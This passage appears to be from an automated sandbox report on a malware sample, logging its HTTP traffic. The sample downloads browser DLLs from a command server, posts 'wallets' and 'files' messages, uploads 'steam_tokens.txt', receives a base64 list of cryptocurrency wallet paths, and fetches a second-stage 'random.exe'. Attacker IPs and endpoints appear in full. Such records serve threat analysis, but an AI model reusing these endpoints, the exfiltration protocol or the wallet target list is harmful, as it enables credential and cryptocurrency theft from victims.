Nov 17, 2024 10:07:39.515614033 CET	1236	IN	Data Raw: 8a 53 04 32 14 0f 8b 4d e4 88 51 04 83 fe 05 74 3c 8b 45 ec 04 06 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 05 32 14 0f 8b 5d e4 88 53 05 83 fe 06 0f 85 9c 08 00 00 89 c1 8b 45 08 Data Ascii: S2MQt<E}$7$7u]S2]SEu0EMME)us) }) )}})])EU]EM]U$U<2U<U$2M!
Nov 17, 2024 10:07:39.515629053 CET	1236	IN	Data Raw: d4 66 0f eb ca 66 0f 70 c1 ee 66 0f eb c1 66 0f 70 c8 55 66 0f eb c8 66 0f 7e 4d e0 8b 55 c8 39 55 d4 8b 45 d0 75 0e 8a 55 e8 8b 4d ec 8b 7d e4 8b 5d dc eb 3f 8d 0c d5 00 00 00 00 8b 75 10 03 75 cc 8b 5d d4 8b 7d e0 0f 1f 84 00 00 00 00 00 0f b6 Data Ascii: ffpffpUff~MU9UEuUM}]?uu]}9u}UM}]Et5UM9M]]}<+ET}:M1}]fEUEEUD}
Nov 17, 2024 10:07:39.515640974 CET	1236	IN	Data Raw: c1 81 d1 67 e6 09 6a 89 4d c0 89 fa 33 95 c4 fe ff ff 89 cf 31 f7 89 d6 0f a4 fe 08 0f a4 d7 08 8b 8d 74 ff ff ff 8b 51 08 89 95 0c ff ff ff 01 d3 8b 49 0c 89 8d 10 ff ff ff 8b 55 c8 11 ca 01 fb 89 5d b4 11 f2 89 55 c8 31 d0 8b 95 50 ff ff ff 31 Data Ascii: gjM31tQIU]U1P1]PMMEE11xptJ@FR<NF(]F,~L1FH1h5l>
Nov 17, 2024 10:07:40.348078966 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 10:07:40.624497890 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 17, 2024 10:07:41.091949940 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 10:07:41.368707895 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 17, 2024 10:07:41.566462040 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 10:07:41.842967033 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 17, 2024 10:07:42.668268919 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 10:07:42.945343018 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 17, 2024 10:07:43.198796034 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 10:07:43.475279093 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 17, 2024 10:07:44.199781895 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHJJDGHCBGDHIECBGID Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 10:07:44.977109909 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 10:07:45.074220896 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIIJJDHDGCGDHIJDAK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="message"wallets------JDGIIJJDHDGCGDHIJDAK--
Nov 17, 2024 10:07:45.352780104 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:45 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 17, 2024 10:07:45.355362892 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIDBKFCAAEBFIDHDBAE Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 2d 2d 0d 0a Data Ascii: ------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="message"files------FHIDBKFCAAEBFIDHDBAE--
Nov 17, 2024 10:07:45.633683920 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 10:07:45.666188002 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJJEBKKEHJDGCBGCFCG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 45 42 4b 4b 45 48 4a 44 47 43 42 47 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 45 42 4b 4b 45 48 4a 44 47 43 42 47 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 45 42 4b 4b 45 48 4a 44 47 43 42 47 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BKJJEBKKEHJDGCBGCFCGContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------BKJJEBKKEHJDGCBGCFCGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BKJJEBKKEHJDGCBGCFCGContent-Disposition: form-data; name="file"------BKJJEBKKEHJDGCBGCFCG--
Nov 17, 2024 10:07:46.435287952 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 10:07:46.463824987 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAAFBGDBKJJJKFIIIJJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 2d 2d 0d 0a Data Ascii: ------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="message"ybncbhylepme------IDAAFBGDBKJJJKFIIIJJ--
Nov 17, 2024 10:07:46.742891073 CET	271	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 17, 2024 10:07:50.800581932 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBGCBAFCGDAAKFIDGIE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 2d 2d 0d 0a Data Ascii: ------JEBGCBAFCGDAAKFIDGIEContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------JEBGCBAFCGDAAKFIDGIEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JEBGCBAFCGDAAKFIDGIE--
Nov 17, 2024 10:07:51.573990107 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	50017	185.215.113.16	80	6264	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 10:07:46.753288984 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 17, 2024 10:07:47.649571896 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 09:07:47 GMT Content-Type: application/octet-stream Content-Length: 3281920 Last-Modified: Sun, 17 Nov 2024 08:46:10 GMT Connection: keep-alive ETag: "6739ad52-321400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 